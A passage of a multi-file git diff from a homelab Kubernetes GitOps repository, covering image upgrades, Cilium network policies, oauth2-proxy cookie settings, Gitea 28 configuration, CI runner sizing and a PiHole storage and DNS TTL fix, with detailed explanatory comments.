 # CiliumNetworkPolicy world egress allow (egress class governs the path; R-NET-05): qbittorrent-allow-internet-egress
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy

apps/wave-0/semaphore-db.yaml

@@ -49,7 +49,7 @@ spec:
   # Scaling out is non-disruptive: CNPG creates -2 then -3 sequentially, each seeded by
   # pg_basebackup from the running primary, which is neither restarted nor disconnected.
   instances: 3
-  imageName: ghcr.io/cloudnative-pg/postgresql:16.4
+  imageName: ghcr.io/cloudnative-pg/postgresql:16.15
   # Stamp app.kubernetes.io/name=semaphore-db onto every generated pod/service so the rendered
   # semaphore egress CiliumNetworkPolicy's toEndpoints selector matches the primary pod (R-NET-02).
   inheritedMetadata:

apps/wave-0/tests/app-slis.test.yaml

@@ -1,6 +1,8 @@
 # promtool rule-unit tests for the wave-0 per-app `<app>-down` SLI rules.
 # Manifests under test: every PrometheusRule in apps/wave-0/ — gitea, jackett, pihole, plex,
-# qbittorrent (container/Deployment) and vm-demo (KubeVirt VMI). The harness discovers this file by
+# qbittorrent (container/Deployment), pihole (container/StatefulSet — `availability.replicas: 2`, so
+# its SLI reads kube_statefulset_status_replicas_ready; see schemas/renderer-contract.md
+# `### availability`) and vm-demo (KubeVirt VMI). The harness discovers this file by
 # the SUITE convention (`<dir>/tests/*.test.yaml`) and flattens those RENDERED manifests, so these
 # tests run against the exact expressions Flux applies, never a copy.
 #
@@ -41,7 +43,7 @@ tests:
         values: '1+0x20'
       - series: 'kube_deployment_status_replicas_available{namespace="jackett", deployment="jackett"}'
         values: '1+0x20'
-      - series: 'kube_deployment_status_replicas_available{namespace="pihole", deployment="pihole"}'
+      - series: 'kube_statefulset_status_replicas_ready{namespace="pihole", statefulset="pihole"}'
         values: '1+0x20'
       - series: 'kube_deployment_status_replicas_available{namespace="plex", deployment="plex"}'
         values: '1+0x20'
@@ -81,7 +83,7 @@ tests:
         values: '1+0x20'
       - series: 'kube_deployment_status_replicas_available{namespace="jackett", deployment="jackett"}'
         values: '1+0x20'
-      - series: 'kube_deployment_status_replicas_available{namespace="pihole", deployment="pihole"}'
+      - series: 'kube_statefulset_status_replicas_ready{namespace="pihole", statefulset="pihole"}'
         values: '1+0x20'
       - series: 'kube_deployment_status_replicas_available{namespace="plex", deployment="plex"}'
         values: '0+0x20'
@@ -132,7 +134,7 @@ tests:
         values: '0+0x20'
       - series: 'kube_deployment_status_replicas_available{namespace="jackett", deployment="jackett"}'
         values: '0+0x20'
-      - series: 'kube_deployment_status_replicas_available{namespace="pihole", deployment="pihole"}'
+      - series: 'kube_statefulset_status_replicas_ready{namespace="pihole", statefulset="pihole"}'
         values: '0+0x20'
       - series: 'kube_deployment_status_replicas_available{namespace="plex", deployment="plex"}'
         values: '1+0x20'
@@ -170,10 +172,10 @@ tests:
               severity: critical
               service: pihole
               namespace: pihole
-              deployment: pihole
+              statefulset: pihole
             exp_annotations:
               summary: "pihole is down"
-              description: "pihole: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+              description: "pihole: its StatefulSet has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_statefulset_status_replicas_ready)."
       - eval_time: 10m
         alertname: qbittorrent-down
         exp_alerts:

apps/wave-1/gitea-actions.yaml

@@ -77,6 +77,42 @@ spec:
     requests:
       storage: 1Gi
 ---
+# act_runner config file — DELTAS ONLY. act_runner v0.6.1 LoadDefault()
+# (internal/pkg/config/config.go) unmarshals this file onto a ZERO Config and then fills every
+# unset field with the same default it uses when there is no file at all, so a file holding
+# only `runner.capacity` changes exactly that and nothing else. Do NOT paste in the output of
+# `act_runner generate-config`: that example is NOT the defaults. Its `runner.labels` would
+# OVERRIDE the registered labels in /data/.runner (daemon.go: config labels win when non-empty)
+# and repoint ubuntu-latest at a different job image; its `force_pull: true` differs from the
+# no-file default (false); and its sample `envs` would be injected into every job.
+#
+# Using a file also makes act_runner IGNORE the legacy GITEA_RUNNER_CAPACITY / _FILE /
+# _ENVIRON / _ENV_FILE / GITEA_DEBUG / GITEA_TRACE env vars (deprecated.go). None of them is
+# set on this Deployment; the GITEA_INSTANCE_URL / _REGISTRATION_TOKEN / _NAME / _LABELS env
+# below is consumed by the image's run.sh for registration, not by that legacy path.
+#
+# A ConfigMap edit alone does NOT restart the runner (it reads the file once at start). If a
+# future change touches ONLY this ConfigMap, also bump the Deployment's pod template (e.g. the
+# config-revision annotation below) or the new value stays inert until the next restart.
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: act-runner-config
+  namespace: gitea-actions
+  labels:
+    app.kubernetes.io/name: act-runner
+data:
+  config.yaml: |
+    runner:
+      # Two concurrent jobs (default 1). Measured 2026-11-08: queue wait ~1s normally, but
+      # 29-759s whenever gate / images / renovate runs collide (run 472 waited 759s behind a
+      # renovate burst). Both jobs share the ONE dind daemon below; act_runner names each job's
+      # containers GITEA-ACTIONS-TASK-<task id> and creates a network per job, so they do not
+      # collide. Workflow `concurrency:` groups are enforced by Gitea server-side and are
+      # unaffected: gate.yml's gate-<ref> group still cancels a superseded run on the SAME ref,
+      # and renovate's group still serialises renovate. The dind resources are sized for TWO jobs.
+      capacity: 2
+---
 apiVersion: apps/v1
 kind: Deployment
 metadata:
@@ -95,6 +131,10 @@ spec:
     metadata:
       labels:
         app.kubernetes.io/name: act-runner
+      annotations:
+        # Bump when act-runner-config changes without any other pod-template change, so the
+        # Deployment rolls and act_runner re-reads its config (see the ConfigMap header).
+        homelab.keithjackson.dev/act-runner-config-revision: "1"   # capacity 2
     spec:
       # CI holds no cluster credentials — do not mount a SA token into the runner or
       # (via the shared netns) the job containers (R-SEC-02, docs/14).
@@ -133,7 +173,7 @@ spec:
       initContainers:
         - name: dind
           restartPolicy: Always   # <- this field is what makes it a SIDECAR
-          image: docker:27-dind
+          image: docker:29-dind
           securityContext:
             privileged: true
           env:
@@ -146,12 +186,23 @@ spec:
               mountPath: /certs
             - name: dind-storage
               mountPath: /var/lib/docker
+          # Sized for runner.capacity: 2. Every job's containers run UNDER this daemon, so this
+          # container's cgroup carries the whole CI workload. Measured 2026-11-08 (Prometheus,
+          # capacity 1): peak CPU 0.69 core (1m rate, 30d), peak working set 447Mi (30d), 0 OOMs.
+          #   cpu request 2: two jobs at today's peak is ~1.4 core, and the gate is being
+          #     parallelised, so per-job demand rises. The request is what the CFS share is
+          #     weighted by under contention (100m was a 1/20 share); NO cpu limit, deliberately,
+          #     so an idle node's spare cores are still usable. k3s-prod-2 (8 CPU) had 2945m
+          #     requested; +1.9 core = ~4.85 (61%), and prod-1/prod-3 fit too if it reschedules.
+          #   memory request 1Gi / limit 4Gi: two jobs at today's peak is ~0.9Gi. An OOM kill here
+          #     takes down dockerd and with it BOTH running jobs, so the limit carries ~4x headroom
+          #     over that for the parallelised gate. Nodes have ~31Gi allocatable.
           resources:
             requests:
-              cpu: 100m
-              memory: 256Mi
+              cpu: "2"
+              memory: 1Gi
             limits:
-              memory: 2Gi
+              memory: 4Gi
           startupProbe:
             exec:
               command:
@@ -167,7 +218,7 @@ spec:
       containers:
         # ---- act_runner: registers with Gitea, dispatches jobs to the DinD daemon ----
         - name: runner
-          image: gitea/act_runner:0.2.11
+          image: gitea/act_runner:0.6.1
           # No `command:` override. The image's own entrypoint (/sbin/tini -- /opt/act/run.sh)
           # registers from env on first boot and runs `act_runner daemon`. The two wait-loops
           # that used to live here are gone: kubelet now holds this container until the dind
@@ -195,23 +246,36 @@ spec:
               value: /certs/client
             - name: DOCKER_TLS_VERIFY
               value: "1"
+            # The image's run.sh passes `--config <this>` to BOTH `act_runner register` and
+            # `act_runner daemon` when CONFIG_FILE is set (act_runner v0.6.1 scripts/run.sh).
+            - name: CONFIG_FILE
+              value: /etc/act_runner/config.yaml
           volumeMounts:
             - name: data
               mountPath: /data
             - name: certs
               mountPath: /certs
               readOnly: true
+            - name: config
+              mountPath: /etc/act_runner
+              readOnly: true
+          # Measured 2026-11-08 at capacity 1: peak CPU 0.24 core, peak working set 314Mi (30d)
+          # against the old 512Mi limit. It holds per-task state, log buffers and the embedded
+          # actions/cache server for every concurrent task, so the limit is doubled for capacity 2.
           resources:
             requests:
               cpu: 100m
-              memory: 128Mi
+              memory: 256Mi
             limits:
-              memory: 512Mi
+              memory: 1Gi
       volumes:
         - name: data
           persistentVolumeClaim:
             claimName: act-runner-data
         - name: certs
           emptyDir: {}
+        - name: config
+          configMap:
+            name: act-runner-config
         - name: dind-storage
           emptyDir: {}

apps/wave-1/keycloak.yaml

@@ -75,7 +75,7 @@ spec:
     spec:
       containers:
       - name: keycloak
-        image: quay.io/keycloak/keycloak
+        image: quay.io/keycloak/keycloak:26.0.6
         ports:
         - containerPort: 8080
         volumeMounts:

apps/wave-1/radarr.yaml

@@ -122,7 +122,7 @@ spec:
     spec:
       containers:
       - name: radarr
-        image: lscr.io/linuxserver/radarr:5.21.1
+        image: lscr.io/linuxserver/radarr:5.28.0
         ports:
         - containerPort: 7878
         env:
@@ -138,7 +138,7 @@ spec:
         - name: media
           mountPath: /media
       - name: oauth2-proxy
-        image: quay.io/oauth2-proxy/oauth2-proxy:v7.8.1
+        image: quay.io/oauth2-proxy/oauth2-proxy:v7.15.6
         imagePullPolicy: IfNotPresent
         args:
         - --http-address=0.0.0.0:4180
@@ -153,11 +153,16 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://radarr.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --api-route=^/api/
+        - --api-route=^/signalr/
+        - --cookie-name=_oauth2_proxy_radarr
+        - --cookie-domain=radarr.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -178,6 +183,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m
@@ -275,6 +283,28 @@ spec:
       - port: '9117'
         protocol: TCP
 ---
+# CiliumNetworkPolicy egress allow (R-NET-02): radarr-allow-plex-32400
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: radarr-allow-plex-32400
+  namespace: radarr
+  labels:
+    app.kubernetes.io/name: radarr
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: radarr
+  egress:
+  - toEndpoints:
+    - matchLabels:
+        app.kubernetes.io/name: plex
+        k8s:io.kubernetes.pod.namespace: plex
+    toPorts:
+    - ports:
+      - port: '32400'
+        protocol: TCP
+---
 # CiliumNetworkPolicy reciprocal ingress allow (R-NET-02): radarr-allow-seerr-7878
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy
@@ -317,6 +347,27 @@ spec:
       - port: '4180'
         protocol: TCP
 ---
+# CiliumNetworkPolicy monitoring scrape ingress allow (R-NET-02/R-OBS-01): radarr-allow-monitoring-scrape
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: radarr-allow-monitoring-scrape
+  namespace: radarr
+  labels:
+    app.kubernetes.io/name: radarr
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: radarr
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        k8s:io.kubernetes.pod.namespace: monitoring
+    toPorts:
+    - ports:
+      - port: '44180'
+        protocol: TCP
+---
 # CiliumNetworkPolicy world egress allow (egress class governs the path; R-NET-05): radarr-allow-internet-egress
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy

apps/wave-1/semaphore.yaml

@@ -78,7 +78,7 @@ spec:
     spec:
       containers:
       - name: semaphore
-        image: semaphoreui/semaphore:v2.19.10
+        image: semaphoreui/semaphore:v2.19.17
         ports:
         - containerPort: 3000
         env:

apps/wave-1/sonarr.yaml

@@ -122,7 +122,7 @@ spec:
     spec:
       containers:
       - name: sonarr
-        image: lscr.io/linuxserver/sonarr:4.0.15
+        image: lscr.io/linuxserver/sonarr:4.0.20
         ports:
         - containerPort: 8989
         env:
@@ -138,7 +138,7 @@ spec:
         - name: media
           mountPath: /media
       - name: oauth2-proxy
-        image: quay.io/oauth2-proxy/oauth2-proxy:v7.8.1
+        image: quay.io/oauth2-proxy/oauth2-proxy:v7.15.6
         imagePullPolicy: IfNotPresent
         args:
         - --http-address=0.0.0.0:4180
@@ -153,11 +153,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://sonarr.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_sonarr
+        - --cookie-domain=sonarr.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -178,6 +181,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m
@@ -275,6 +281,28 @@ spec:
       - port: '9117'
         protocol: TCP
 ---
+# CiliumNetworkPolicy egress allow (R-NET-02): sonarr-allow-plex-32400
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: sonarr-allow-plex-32400
+  namespace: sonarr
+  labels:
+    app.kubernetes.io/name: sonarr
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: sonarr
+  egress:
+  - toEndpoints:
+    - matchLabels:
+        app.kubernetes.io/name: plex
+        k8s:io.kubernetes.pod.namespace: plex
+    toPorts:
+    - ports:
+      - port: '32400'
+        protocol: TCP
+---
 # CiliumNetworkPolicy reciprocal ingress allow (R-NET-02): sonarr-allow-seerr-8989
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy
@@ -317,6 +345,27 @@ spec:
       - port: '4180'
         protocol: TCP
 ---
+# CiliumNetworkPolicy monitoring scrape ingress allow (R-NET-02/R-OBS-01): sonarr-allow-monitoring-scrape
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: sonarr-allow-monitoring-scrape
+  namespace: sonarr
+  labels:
+    app.kubernetes.io/name: sonarr
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: sonarr
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        k8s:io.kubernetes.pod.namespace: monitoring
+    toPorts:
+    - ports:
+      - port: '44180'
+        protocol: TCP
+---
 # CiliumNetworkPolicy world egress allow (egress class governs the path; R-NET-05): sonarr-allow-internet-egress
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy

apps/wave-2/seerr.yaml

@@ -75,7 +75,7 @@ spec:
     spec:
       containers:
       - name: seerr
-        image: ghcr.io/seerr-team/seerr:v3.4.1
+        image: ghcr.io/seerr-team/seerr:v3.5.1
         ports:
         - containerPort: 5055
         volumeMounts:

catalog/gitea.yaml

@@ -10,7 +10,7 @@
 name: gitea
 kind: container
 source:
-  image: gitea/gitea:1.24.3     # pinned recent stable tag (R-UPD-01); update.range governs advancement
+  image: gitea/gitea:28.3.0     # pinned recent stable tag (R-UPD-01); update.range governs advancement
 # Headless-install bootstrap (formerly apps/gitea-bootstrap-patch.yaml; now first-class via the
 # ServiceDefinition env/envFrom/lifecycle fields, schema >=1.2.0). Gitea must come up INSTALLED
 # without the interactive web wizard and with a FIXED, persistent SECRET_KEY, so all of this is
@@ -23,14 +23,43 @@ env:
       secretKeyRef:
         name: gitea-bootstrap
         key: secret-key
-  - name: GITEA__server__DOMAIN              # correct public clone/redirect URLs for the TLS-terminated host
-    value: gitea.${BASE_DOMAIN}
+  # ROOT_URL is the ONLY source of the instance domain since Gitea 28 (go-gitea/gitea#39400): [server]
+  # DOMAIN is no longer read, and the SSH domain defaults from ROOT_URL too. GITEA__server__DOMAIN was
+  # removed in the 28 upgrade; the stale DOMAIN line environment-to-ini already wrote into app.ini is
+  # inert. Correct public clone/redirect URLs for the TLS-terminated host come from this one value.
   - name: GITEA__server__ROOT_URL
     value: https://gitea.${BASE_DOMAIN}/
   - name: GITEA__actions__ENABLED            # Phase 6 CI/CD: declared (not implicit upstream default) so the
     value: "true"                            # in-cluster act_runner (ns gitea-actions) registers against it
   - name: GITEA__actions__DEFAULT_ACTIONS_URL  # resolve `uses: <org>/<action>@ref` from github.com (cluster
     value: github                              # has internet egress; not air-gapped)
+  # Gitea 28 added run retention (go-gitea/gitea#38855): completed runs, with their jobs, logs and
+  # artifacts, are deleted by the cleanup_action_runs cron after RUN_RETENTION_DAYS. Upstream's default
+  # (400) is kept but DECLARED, so the deletion horizon is visible here rather than implicit. The spec
+  # repo states no CI-history retention requirement; 0 would mean keep forever.
+  - name: GITEA__actions__RUN_RETENTION_DAYS
+    value: "400"
+  # Gitea 28 (go-gitea/gitea#39426) puts webhooks, the OAuth2 avatar fetch and OpenID 2.0 behind an
+  # egress policy: in the default lax mode, PUBLIC targets are allowed and private/loopback/CGNAT
+  # targets need an IP or CIDR entry in [security] ALLOWED_HOST_LIST (a hostname entry is NOT enough
+  # for a private address). DECLARED lax with an EMPTY allow list, deliberately:
+  #   * the Keycloak OIDC login source is NOT gated by it. In 28.3.0 the openidConnect provider is
+  #     goth's, built with its default HTTP client (services/auth/source/oauth2/providers_openid.go);
+  #     egress.NewSecurityPolicy is used only by routers/web/auth/oauth.go (avatar fetch, and
+  #     [oauth2_client] UPDATE_AVATAR is off here) and modules/auth/openid (OpenID 2.0, unused).
+  #     So keycloak.<domain> resolving to the private Gateway address in-cluster does not matter.
+  #   * this instance has no webhooks and no mirrors (measured 2026-11-07), and 1.27 already refused
+  #     private webhook targets by default, so nothing that worked before is newly denied.
+  # Adding an entry here would only WIDEN the webhook SSRF surface. Add the narrowest CIDR (e.g. the
+  # Gateway address /32) only if a real private webhook target appears.
+  - name: GITEA__security__EGRESS_MODE
+    value: lax
+  # Gitea 28 (go-gitea/gitea#39400) disables LOCAL self-registration unless DISABLE_REGISTRATION is
+  # explicitly false; 1.27 defaulted it open. Declared true: accounts arrive via Keycloak only.
+  # OAuth2 auto-registration below is unaffected — routers/web/auth/oauth.go gates it on
+  # ALLOW_ONLY_INTERNAL_REGISTRATION and ENABLE_AUTO_REGISTRATION, not on DISABLE_REGISTRATION.
+  - name: GITEA__service__DISABLE_REGISTRATION
+    value: "true"
   - name: GITEA_ADMIN_USERNAME               # break-glass local admin creds (consumed by the postStart hook)
     valueFrom:
       secretKeyRef:
@@ -208,6 +237,19 @@ inClusterClients:
     namespace: flux-system      # matched by NAMESPACE alone — the flux controllers' pod labels belong
                                 # to upstream's manifests, not to this platform's contract
     port: 3000                  # ONLY the Gitea HTTP port — the same single port the Gateway allow opens
+  # The PM agent service (platform/pm-agent/). Its dispatcher reads issues and posts comments
+  # over this port, and every worker Job clones, pushes and opens pull requests over it. Like
+  # Flux's source-controller above, it dials the ClusterIP DIRECTLY — deliberately, so the
+  # agent's path to the repository depends on neither public DNS, nor Cloudflare, nor the
+  # shared Gateway, nor ${BASE_DOMAIN}. And exactly as for Flux, that means this namespace's
+  # own default-deny (R-NET-01) DROPS the connection unless it is declared here: without this
+  # entry the dispatcher's egress allow is satisfied and the packet is still discarded at the
+  # Gitea end, which presents as an authentication timeout rather than as a policy denial.
+  # That is the 2026-09-13 lesson documented at length above, applied before it is relearned.
+  - name: pm-agent
+    namespace: pm-agent         # matched by NAMESPACE alone, so the dispatcher Deployment and every
+                                # ephemeral worker Job are covered by the one declaration
+    port: 3000                  # ONLY the Gitea HTTP port
 auth:
   mode: oidc                    # native Keycloak OIDC client (docs/13 SSO row, docs/15 "Native OIDC" set; R-IDP-02)
   groups:
@@ -220,9 +262,14 @@ auth:
   # recovery tools (docs/15 "Availability caveat"). No secret is embedded here.
 update:
   channel: stable               # R-UPD-01
-  range: ">=1.22.0 <2.0.0"      # stay on the 1.x stable line
+  range: ">=28.0.0 <29.0.0"     # Gitea dropped the "1." prefix at 28.0.0 (successor of 1.27); stay on 28.x
   cadence: "0 4 * * *"
-  autoRollbackOnFailedHealth: true   # R-UPD-03
+  # R-UPD-03. INERT FOR THIS SERVICE, and it must stay that way: this flag renders only an annotation
+  # on a Flux ImagePolicy, and apps/ is rendered --no-image-automation (ci/render-golden.sh), so no
+  # ImagePolicy exists and the Deployment (strategy Recreate) is never auto-reverted. That matters
+  # because a Gitea upgrade (1.27 -> 28 included) MIGRATES THE SQLITE DB ONE-WAY: an image revert onto
+  # a migrated DB is not a rollback. Roll Gitea back by RESTORING THE DATA PVC from its pre-upgrade backup.
+  autoRollbackOnFailedHealth: true
 observability:
   metrics: true
   slis:

catalog/jackett.yaml

@@ -16,7 +16,7 @@
 name: jackett
 kind: container
 source:
-  image: lscr.io/linuxserver/jackett:latest
+  image: lscr.io/linuxserver/jackett:v0.24.3025-ls29
 exposure: internal              # LAN-only web UI at jackett.${BASE_DOMAIN} (docs/13 row 4; R-DNS/R-NET)
 egress: vpn                     # indexer scraping via node PIA tunnel + kill-switch (docs/03; ADR-0015; R-NET-05/06)
 storage:
@@ -51,9 +51,27 @@ auth:
     # This grants no real privilege: platform-admins already maps to cluster-admin via
     # k8s-oidc-rbac.yaml (oidc:platform-admins), so a member can already exec into these pods.
     - platform-admins           # operators of these services must not be locked out of them
+  # Answer Jackett's OWN API with 401 instead of a 302 to Keycloak (schema 1.9.0; renders
+  # --api-route, singular and repeatable, onto the oauth2-proxy sidecar).
+  #
+  # MEASURED on this pod's access log, 2026-09-30: on /api/ paths, 33 x 302 against 2 x 401 —
+  # and 4 of 6 POSTs were answered BY THE PROXY and never reached Jackett (access-log upstream
+  # field `-`, not `/`), including both `/api/v2.0/server/update` calls. Jackett's jQuery does
+  # not send the exact `Accept: application/json` oauth2-proxy's AJAX guard requires, so the
+  # 302 was followed invisibly, satisfied silently by the live Keycloak SSO session, and
+  # resolved 200 carrying the dashboard's HTML where the JavaScript expected JSON. A browser
+  # following a 302 also re-issues a POST as a GET and DROPS THE BODY, which is why "adding an
+  # indexer silently does nothing" was the user-visible symptom and nothing logged a failure.
+  #
+  # SCOPE: `/api/` only. Jackett serves its UI at /UI/ and its static assets elsewhere, and a
+  # browser never NAVIGATES to /api/ — so a plain page load is still 302'd into a silent SSO
+  # sign-in, which is the behaviour that must not change.
+  apiRoutes:
+    - ^/api/
 update:
   channel: stable               # R-UPD-01
-  range: ">=0.22.0"             # stay on the Jackett 0.22.x stable line
+  range: ">=0.22.0"             # floor only, no ceiling (0.24.x runs as of 2026-10-30; Jackett has no
+                                # major line to hold back from, so renovate.json5 mirrors no cap)
   cadence: "0 4 * * *"
   autoRollbackOnFailedHealth: true   # R-UPD-03
 observability:

catalog/keycloak.yaml

@@ -5,8 +5,15 @@
 # Validates against schemas/servicedefinition.schema.json.
 name: keycloak
 kind: container
+# DOCUMENTATION-ONLY IMAGE. The running server is NOT chosen here: the Keycloak operator
+# (platform/keycloak/kustomization.yaml, three pinned release URLs) picks it via its
+# RELATED_IMAGE_KEYCLOAK, and the Keycloak CR has no spec.image. This SD's render,
+# apps/wave-1/keycloak.yaml, is not listed in apps/wave-1/kustomization.yaml and deploys nothing
+# (ci/render-golden.sh RENDER_GOLDEN_NOT_ONBOARDED). The tag records the operator's version for
+# readers; renovate.json5 disables Renovate for this image so it cannot raise PRs against a file
+# nothing deploys. The Keycloak version moves with the operator — update this tag by hand then.
 source:
-  image: quay.io/keycloak/keycloak
+  image: quay.io/keycloak/keycloak:26.0.6
 exposure: public              # login/redirect flows for internet-exposed services; hardened (docs/15; R-DNS/R-NET)
 egress: internet              # normal WAN egress (docs/03; R-NET-05)
 storage:

catalog/pihole.yaml

@@ -5,13 +5,49 @@
 name: pihole
 kind: container
 source:
-  image: pihole/pihole
+  image: pihole/pihole:2026.10.1
 exposure: internal            # LAN-only admin UI (docs/13 row 6; R-DNS/R-NET)
 egress: internet              # normal WAN egress (docs/03; R-NET-05)
 storage:
   - name: config
     size: 2Gi
     class: longhorn           # replicated config state; DR-critical (docs/04 line 118; R-STATE-02/03)
+    # THE PVC WAS MOUNTED SOMEWHERE PIHOLE NEVER WRITES, AND SO HELD NOTHING AT ALL. Without an
+    # explicit mountPath the renderer defaults to /data/<name>, i.e. /data/config — but PiHole keeps
+    # every piece of its state in /etc/pihole. MEASURED on live prod 2026-10-04: `/etc/pihole` (7.1 M
+    # — gravity.db, pihole.toml, the query DB) was on the **overlay** filesystem, i.e. the
+    # container's EPHEMERAL layer, while `/dev/longhorn/pvc-849edb86...` sat mounted at
+    # /data/config holding `lost+found` and 24 K of nothing. Three consequences, all live until now:
+    #   * every restart silently discarded PiHole's whole state, re-downloading 72 k gravity domains
+    #     and regenerating the admin password hash;
+    #   * `backup.policy: daily-offcluster` below has been faithfully backing up an EMPTY volume,
+    #     which is worse than no backup because it reports success;
+    #   * it is also why phase 1's password/adlist declaration mattered more than it first appeared —
+    #     that state was not merely undeclared, it was ephemeral.
+    # This is the same class of bug catalog/plex.yaml's `config` entry documents ("Without this the
+    # PVC sat unused and Plex wrote to the container's EPHEMERAL layer").
+    #
+    # /etc/pihole IS THE IMAGE'S INTENDED MOUNT POINT, and an EMPTY volume there self-initialises.
+    # Verified in the running image, not assumed:
+    #   * `/usr/bin/start.sh` (PID 1) calls `migrate_gravity`, whose `migrate_to_database()` creates
+    #     the gravity database when `[ ! -e "$gravityDBfile" ]` — the same branch the postStart hook
+    #     below relies on, and the branch that produced the current ephemeral copy.
+    #   * FTL writes `pihole.toml` itself from the `FTLCONF_*` env above (that is what the
+    #     `### CHANGED (env)` markers in it are).
+    #   * NO `podSecurityContext.fsGroup` is needed and adding one would be inert: `start.sh` line 5
+    #     is `chown -R pihole:pihole /etc/pihole/ /var/log/pihole/` and PID 1 runs as **uid 0**, so
+    #     the image fixes ownership of a fresh root-owned volume before anything else starts. Same
+    #     arrangement as plex's image managing its own /config ownership.
+    #   * the image's own default for `files.macvendor` was moved OUT of this directory (to
+    #     `/macvendor.db`), which is what a maintainer does to a path they expect to be a volume.
+    #
+    # WHY IT IS FIXED IN THIS BRANCH rather than left for its own: `availability.replicas: 2` renders
+    # per-replica volumeClaimTemplates, and with the wrong mountPath those would be two 2 Gi Longhorn
+    # volumes (times three Longhorn replicas each) holding nothing but `lost+found` while all state
+    # stayed ephemeral — paying the cost of persistence and getting none of it. It also REMOVES this
+    # change's main operational risk: with gravity.db persisted, a pod restart is cheap, instead of
+    # every restart re-downloading 72 k domains inside a wave that has a 5 m timeout.
+    mountPath: /etc/pihole
 dependencies: []              # default-deny: reaches only DNS; it PROVIDES DNS (docs/03; R-NET-01/02)
 # ------------------------------------------------------------------------------------------------
 # LAN SPLIT-HORIZON DNS — the half of R-DNS-03 that platform/coredns/coredns-custom.yaml defers to.
@@ -98,8 +134,95 @@ env:
   # then silently wrong: FTL stores `["a","b"]` as ONE array element containing those literal
   # characters, writes that single bogus line into /etc/pihole/dnsmasq.conf and reports "0 invalid"
   # while resolution for the zone does not work. Confirmed both ways against the live image.
+  # plex-vip -> ${PLEX_L4_VIP} (added 2026-10-04) is the LAN HALF of Plex's single advertised
+  # hostname. Plex publishes ONE URL to plex.tv for both local and remote clients
+  # (catalog/plex.yaml ADVERTISE_IP): on the LAN this answer points it at the tcp/32400
+  # LoadBalancer, while Cloudflare answers the same name publicly with the WAN address, NATed to
+  # the same VIP. WITHOUT THIS LINE the entry above answers it with ${GATEWAY_VIP} via the zone
+  # wildcard, where NOTHING listens on 32400 — measured 2026-10-04, plex-vip.${BASE_DOMAIN}
+  # resolved to the Gateway VIP and a connect to :32400 there returned http=000. That is a silent
+  # failure: the Plex web UI on plex.${BASE_DOMAIN} keeps working through the Gateway on 443 while
+  # every client that takes the ADVERTISED connection cannot reach the server at all.
+  #
+  # ── local-ttl=60 — THE SPLIT-HORIZON ANSWER MUST BE CACHEABLE ────────────────────────────────
+  # MEASURED 2026-10-18, diagnosing "DNS flapping between the cluster ingress and the public IP":
+  #
+  #   dig home.keithjackson.dev @192.168.2.23 (pihole)  -> 192.168.2.20                TTL=0
+  #   dig home.keithjackson.dev @1.1.1.1      (public)  -> wan.home.keithjackson.dev   TTL=300
+  #   dig home.keithjackson.dev @192.168.2.1  (router)  -> wan....  TTL=153 -> 148 -> 143
+  #
+  # dnsmasq answers `address=` entries with **TTL 0** unless told otherwise, and that is the whole
+  # bug. The SOHO router forwards LAN queries to PiHole and CACHES the result, so:
+  #   * the CORRECT answer is UNCACHEABLE (TTL 0) -- the router must re-query PiHole on every
+  #     single lookup, which is maximum exposure to any momentary gap; while
+  #   * the WRONG answer is CACHEABLE FOR 5 MINUTES -- the instant the router falls back to its
+  #     upstream (standard forwarder behaviour when the forward target does not answer) it latches
+  #     the public WAN address and serves it to EVERY LAN CLIENT for the public record's 300s TTL.
+  # The decrementing TTL on the router's reply above is the proof it caches rather than forwarding
+  # live. So ONE sub-second PiHole gap -- a pod restart, an L2 announcement lease moving, an ARP
+  # flap, a kured node reboot -- becomes FIVE MINUTES of the whole house resolving to the WAN IP.
+  # That asymmetry, not the gap, is why this is visible as "flapping" rather than a blip.
+  #
+  # 60s is a deliberate floor, not a tuning knob: long enough to ride out a pod restart and a lease
+  # re-election (both seconds), short enough that a genuine VIP change still propagates inside a
+  # minute. These VIPs are pinned by name (`lbipam.cilium.io/ips`) and effectively static, so the
+  # propagation cost is theoretical while the flap it prevents is measured. If flaps persist across
